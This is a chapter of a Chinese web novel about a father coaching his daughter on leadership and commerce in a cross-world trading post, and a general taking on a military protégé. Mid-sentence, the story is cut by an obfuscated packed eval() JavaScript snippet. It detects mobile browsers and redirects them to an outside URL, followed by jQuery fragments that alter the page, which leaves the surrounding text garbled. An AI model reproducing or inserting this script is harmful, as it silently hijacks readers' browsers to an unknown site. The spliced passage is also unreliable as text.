“你心不静。”谢华瑾一针见血点破。


    她回来后除了发烧昏睡那天，四天内他给她开了三次小课，就这种状态怎么能放心让他们明天再出去。


    谢韵之垂下头，这么刺激的日子，她心能静下来就有鬼了。╭(╯^╰)╮


    “我说你不静，是你想得太多，看得太杂，心不定。”


    茶盏与桌面磕碰发出清脆响声，谢韵之抿唇，不想抬头，装鸵鸟ing。


    “前天的问题想明白了吗？”


    谢韵之坐直，丝滑道：“我们的优点是善于见招拆招并从中赚取高额利润、重视信息资源、巧妙借势宣传我们的商品……您那套方案的缺点是，收益不明朗但前期投入巨额资金……”


    说完，静坐等结果。


    “嗯。”谢华瑾揉了揉太阳穴，“我要听的是这个吗？”


    “……”谢韵之犹豫片刻，小声坚定道，“是。”


    谢华瑾皮笑肉不笑轻哼一声：“那就当是吧。”


    “两个问题。第一，你犯的那些所谓错误，本质原因是什么？第二，在团队协作中，你给自己的定位是什么？”


    剖析事件三件套——是什么、为什么、怎么办。谢韵之私以为，最难的当属是什么。


    后二者通常情况下有模板借鉴，唯独是什么，必须看清事实本质方能下定论。


    一连两个是什么，谢之之cpu都要炸了。‘头秃’


    沉默半晌，打好腹稿才道：“本质原因是缺乏实践经验。在我们四人小分队里，我认为自己属于创新者和执行者。”


    缺乏实践经验，也是老万金油回答了。


    “再想想。”


    “……”


    “谢韵之。”谢华瑾指节轻扣桌面，“你跟我有什么不好说的？我要你心底最真实的回答！”


    他还能看不透她？呵，笑话。


    谢韵之抬头闭眼，清脆道：“我是核心领导者！”而后屏息凝神，小心睁眼。


    她看见父亲正面带笑意，了然地望着自己。阳光为他打上一层柔光滤镜，那是一种难以形容的强势温和。


    心渐渐静了，她轻声嗫嚅而后越来越大声流畅。


    “我、我知道唐芯才应该是领导者，但在实际操作过程中，我会不自觉地抢过她的领导权，去指挥大家做事。”


    “平心而论，她是一个很好的上司，但以她的性格，现阶段很难承担起一名领导者该背负的责任。”


    唐芯在大部分人眼里是一个什么样的人呢？


    答：重情重义、活泼开朗、乐观向上、脾气好得不得了。


    在谢韵之视角，可以再加上一个或许不那么恰当的词——扮猪吃老虎。


    这就是为什么她认为唐芯有担当领导者的资质，而目前还不行，因为唐芯做决定时总需要被旁的人事物推一把。


    考虑到她的成长环境，也不难理解，这都是温斐的错！‘握拳’


    谢华瑾摇头：“这是你要的还是你不得不去做的？”


    谢韵之卡壳，皱眉，什么意思？


    他轻叹一声，缓缓道：“慢慢想，等你想清楚之后用行动告诉我你的答案。”


    “回到第一个问题。缺乏实践经验？”他直言挑破遮羞布，“你不想去基层？”


    四小只里，安若素是从底层普通士兵一步步踏实走上来的，贺逸昇也有在医院（馆）多年实习经验。可唐芯和谢韵之，一个只有浅薄的大学实习（混日子）经验，一个起手就是管理层。


    不深耕基层，哪儿来丰富经验？报表可不会告诉你下发下去的指令是怎么一步步变成现实的。


    “您早就知道，又为什么……？”


    谢韵之不服，当初可是他们三个直接把他们四个放到现在这个位置的。现在又来嫌弃他们不愿意扎根基层？


    “道理你都懂，当初为什么不提？”谢华瑾反问。


    谢韵之又开始埋头装鸵鸟，道理说出来是一回事，自己去做又是另一回事。能当leader谁愿意当小卡拉米。


    “你知道唐芯有点歧视N代的吧？”


    “……嗯。”不多，但有。


    “知道为什么吗？”


    “大环境里N代风评……不好。”何止不好，简直乌漆嘛黑。


    “为什么会不好？因为德不配位。嗯？”


    谢大小姐感觉有被骂到。


    “当初为什么这么安排？因为你们情况特殊。交易所需要你们亲身前往不同的世界开路，因此，你们有得是从零开始积攒经验的机会。现在你告诉我，在水蓝星，你做了什么？”


    之之不语，只一味装聋作哑。


    “位面商铺是你的乌龟壳吗？嗯？”


    之之咬唇，却依旧不语。


    谢华瑾不是特意来折女儿面子、伤孩子自尊的，欣赏了会她憋屈的可爱小表情，收了气势，平淡道：“好了，你自己回去想清楚。韵之，你的人生终究是你自己过出来的，不是我给你画好的。”


    “哦~”委委屈屈，带着傲娇的小尾音。‘可爱’


    “还有什么要问我的吗？”


    “有。唐芯说以后华国人进来也要收场地费。”


    谢华瑾微顿，道：“她的原话应该是土也球人也要收费。”


    “您知道？”


    “刚知道。”


    谢韵之：(￣ー￣)这是什么废话文学。


    “你觉得不妥？”不然不会特意提。


    “嗯。”她意有所指，“他们会闹的吧。”


    “温斐的决定不会改变。”他先给出结论，等她的方案。


    “但定什么价不还是由他说了算？我想能不能给出一个极低的价格……”


    “定价多少由系统精密计算后得出。”他纠正道。主神会一丝不苟地赚钱，对这种损害祂利益的行为绝不姑息。


    “他跟系统不是一伙儿的吗？”谢韵之脱口而出。


    谢华瑾挑眉，悠悠道：“唐芯跟你说的？”


    谢韵之撇嘴：“爸爸，我不是傻子。”温斐对系统的熟悉度之高可太明显了，属实是演都不演了。


    虽然猜不出来他具体是干什么的，但肯定不清白！


    “嗯，你不是。”谢华瑾憋笑，正经道，“换个思路，如果给华国人定价每小时一积分，樱花国人定价每小时10000积分呢？”


    钱赚到了，民怨也没有了，两不误。


    谢韵之：O.O！？好坏（褒义），原来还能这么玩！


    “可是算法……”


    “只要能赚到钱，算法是能变通的。”


    主神那个死德行，也难怪温斐乐意跟祂玩。单纯（爱赚钱）的神，总比那些阴暗生物要讨喜。


    “据我所知，算法中包含一项相当模糊的评判标准——道德指数。”


    谢韵之：O.o？


    “证明道德高尚很难，但容易证明别人道德低下。数字不重要，重要的是对比关系。”


    谢韵之：爹地，我悟了！


    接下来就谢韵之在水蓝星之行中记下来的几个小问题，父女俩一问一答，气氛融洽。


    末了，在她起身告辞前，谢华瑾突地道：“温斐给了唐芯一份G务员名单。”


    “他想让她从z？”她惊讶道。不是她看不起唐小芯，她那个直来直往的性格，搞zz……O.o？


    谢华瑾不置可否，问道：“韵之，你要建设一个什么样的国家？”


    “共产社会！”‘坚定’


    谢总司令一顿，无奈道：“当然。实际点呢？”


    她说不出来了。


    “去吧。这个问题不着急，你有漫长的时间去解答。”


    “哦~”


    ——


    客厅，安若素看着这段时间的工作总结愣神，见她出来，起身问道：“谢总司令有空吗？”


    “有的。”谢韵之从她的神态中猜出了什么，比心道，“加油~！”


    “好。”安若素与她击掌，大步流星走向茶室。


    “叩叩。”


    “请进。”


    “谢总司令。”


    谢华瑾抬头，有些诧异但不多，似早有所料。


    “坐。”


    安若素拉开对面的椅子端正坐下，果断道：“谢总司令，我能跟着您学习吗？”


    “学什么？”


    “排兵布阵、军事谋划、战略部署、纵深布局……”等一切顶级军事素养。


    谢华瑾深深望了她片刻，倏而欣慰道：“长大了。钱总司令不久前还跟我长吁短叹，担心你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433221|168788||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不适应这里。”


    安若素汗颜，是她不识好歹了。可她打心眼里更喜欢现在这样刺激冒险的生活。


    谢华瑾继续道：“为什么是我？”


    “我觉得您的作战风格更适合我。”


    “哦？是吗？”


    安若素轻颤，迟疑了。


    谢华瑾把谢韵之的失败品倒了，洗净茶具，从烧水开始重新沏茶，温和道：“不着急，慢慢想。”


    水开，选用龙井、红枣，一套行云流水的茶艺功夫，一杯热腾腾、恰到好处的茶水置于二人身前。


    “我确定。比起钱总司令保守的做派，我更适合您锐利的战斗风格。”


    谢华瑾略带深意地看了她一眼，见她坚定不改，摇头道：“你错了。”


    “我不明白。”安若素谦虚道，“请您指教。”


    “首先，你只看到了我们在战场上的差别，却忽视了战局外的影响因素。”


    Z部战区与D部战区差的可不仅仅是地理位置，军z不分家。


    “其次，你只看到了我激进的作战态度，却没有深思我为什么能有这么做的底气。”


    人怎么会不惜命呢。他能锐意进取不过有赖于事先考虑完了方方面面，做了最有利于大局且兼顾自己的部署。


    “最后，你的自我认识失之偏颇。”


    安若素：O.O？


    “你的目标与决心的确勇往直前，但手段嘛……”他轻笑，“兵不厌诈。”


    安若素：救命，当初被公开处刑的画面仿佛历历在目。QAQ


    “别紧张。这不就是你的优势吗？兵者，诡道也。”他不疾不徐道，“你们年轻人喜欢自称当代贾诩，这方面，钱总司令最有心得。”


    “他老人家这把年纪能遇见个称心如意的好苗子不容易，我就不舔着脸跟他抢人了。”


    他把手边的茶递给她：“以后，叫我叔叔吧。”


    安若素一怔，双手接过茶盏，举杯齐眉，躬身献茶，口称：“师叔。”


    谢华瑾接过一饮而尽，应道：“嗯。”


    唔，要找个时间跟钱总司令分享这个好消息，得知他跟他平辈了，一定很开心吧。︿(￣︶￣)︿


    ——————


    仓库，贺逸昇匆忙赶到，望着那堆从未见过的仪器设备连连点头，给某人做“假账”：“对，这也是我们从ARK拿回来的，和那些文件一样，时间紧迫没来得及登记。”


    见鬼，他记得第九层没有这些仪器吧，温斐哪儿搞来的？


    斐，节俭！︿(￣︶￣)︿


    但温斐斐深藏功与名，是不会告诉他这是他拆人家房子的时候光明正大扣下来滴~o(*￣▽￣*)o


    这些“黑货”经贺总“验明正身”便有了来路，俞主管带人去登记，郝部长揽过贺逸昇，并肩往外走。


    “机会难得，陪我喝一杯？”


    “求之不得。”


    三楼，一处僻静的观景台。


    贺逸昇没想到，老练如郝吉祥居然喜欢喝奶茶。


    “我女儿喜欢喝，为了给她在她妈妈面前打掩护，我就说是我喜欢，久而久之就真喜欢上了。”


    贺逸昇点头，笑道：“您是个好父亲。”


    “哦唷~我可担不起，忙啊，从小到大没给他们开过家长会。现在更是算下来有近一年没见过面了，上次打视频电话还怀疑我被人掉包了。哈哈哈~”


    去年7月到今年1月，四舍五入算一年。郝吉祥与之前相比，看起来确实判若两人，黑了瘦了秃了，幸好精气神更好了。


    两人闲话家长里短，火候差不多了，郝吉祥道：“说起来是我的失职，一直没顾得上和你们聊聊你们的家庭情况。”简称：家访。


    唐芯、温斐俩孤儿没条件；谢华瑾如今近乎常驻交易所，谢韵之没这需求；安若素单亲，现在也把母亲接来了，母女关系和睦，瞧着不必多此一举。


    唯独贺逸昇，从一开始就明确要求不与未婚妻分居两地，但父母无所谓。


    资料上看，他双亲俱全，甚至四老都还健在，作为两家唯一的孩子，从小享尽宠爱、生活优渥，本人天资聪颖、成绩优异，似乎没什么不好的。


    可家家有本难念的经，这孩子，也是个有沉疴的人啊。